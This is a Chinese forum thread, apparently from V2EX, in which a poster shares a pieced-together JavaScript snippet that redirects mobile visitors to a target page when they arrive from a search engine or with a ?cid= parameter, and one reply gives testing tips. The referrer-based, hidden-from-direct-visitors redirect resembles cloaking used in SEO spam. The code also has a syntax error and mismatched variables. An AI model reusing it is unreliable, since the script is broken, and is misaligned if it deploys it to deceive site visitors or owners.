需求: 判断是否是移动端,如果是 pc 端则不执行任何操作,访问默认网页即可。 如果是移动端则判断来源是否是搜索引擎(百度,搜狗,360,等)关键字搜索,如果是:则跳转,如果不是(直接录入 url )则不跳转。并且在移动端的前提下,如果加后缀(后缀格式:www.A.com/?cid={creative})则同样跳转到目的页面。 自己百度拼凑了一份,因为不能模拟百度等一些搜索引擎访问,不知道是否可行,麻烦帮看一下,不胜感激.
<script language="javascript" type="text/javascript">
var browser = {
versions: function () {
var u = navigator.userAgent, app = navigator.appVersion;
return {//移动终端浏览器版本信息
trident: u.indexOf('Trident') > -1, //IE 内核
presto: u.indexOf('Presto') > -1, //opera 内核
webKit: u.indexOf('AppleWebKit') > -1, //苹果、谷歌内核
gecko: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') == -1, //火狐内核
mobile: !!u.match(/AppleWebKit.*Mobile.*/) || !!u.match(/AppleWebKit/), //是否为移动终端
ios: !!u.match(/i[^;]+;( U;)? CPU.+Mac OS X/), //ios 终端
android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android 终端或者 uc 浏览器
iPhone: u.indexOf('iPhone') > -1 || (u.indexOf('Mac') > -1 && u.indexOf
('Macintosh') < 0), //是否为 iPhone 或者 QQHD 浏览器
iPad: u.indexOf('iPad') > -1, //是否 iPad
webApp: u.indexOf('Safari') == -1 //是否 web 应该程序,没有头部与底部
};
}(),
language: (navigator.browserLanguage || navigator.language).toLowerCase()
}
if (!browser.versions.iPad) {
if (browser.versions.android || browser.versions.iPhone) {
//判断搜索引擎 --- start
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
if(b){
self.location = '目的页面';
window.adworkergo = 'ad_app6';
}
}
//判断搜索引擎---end
//后缀判断---start http://www.A.com?cid=XXX
var srtUrl=window.location.search;
strUrl=srtUrl.toLowerCase();
if(srtUrl.indexOf('cid'){
location.href = '目的页面';
}
//后缀判断---end
}
}
</script>
1
aijialefu OP 自顶菊花
|
2
TMaize 2019-10-24 11:59:48 +08:00
F12 toggle device 能切换设备模拟 UA
把 referrer 的获取抽取成公共函数,测试环境下返回想要的网址也能模拟 |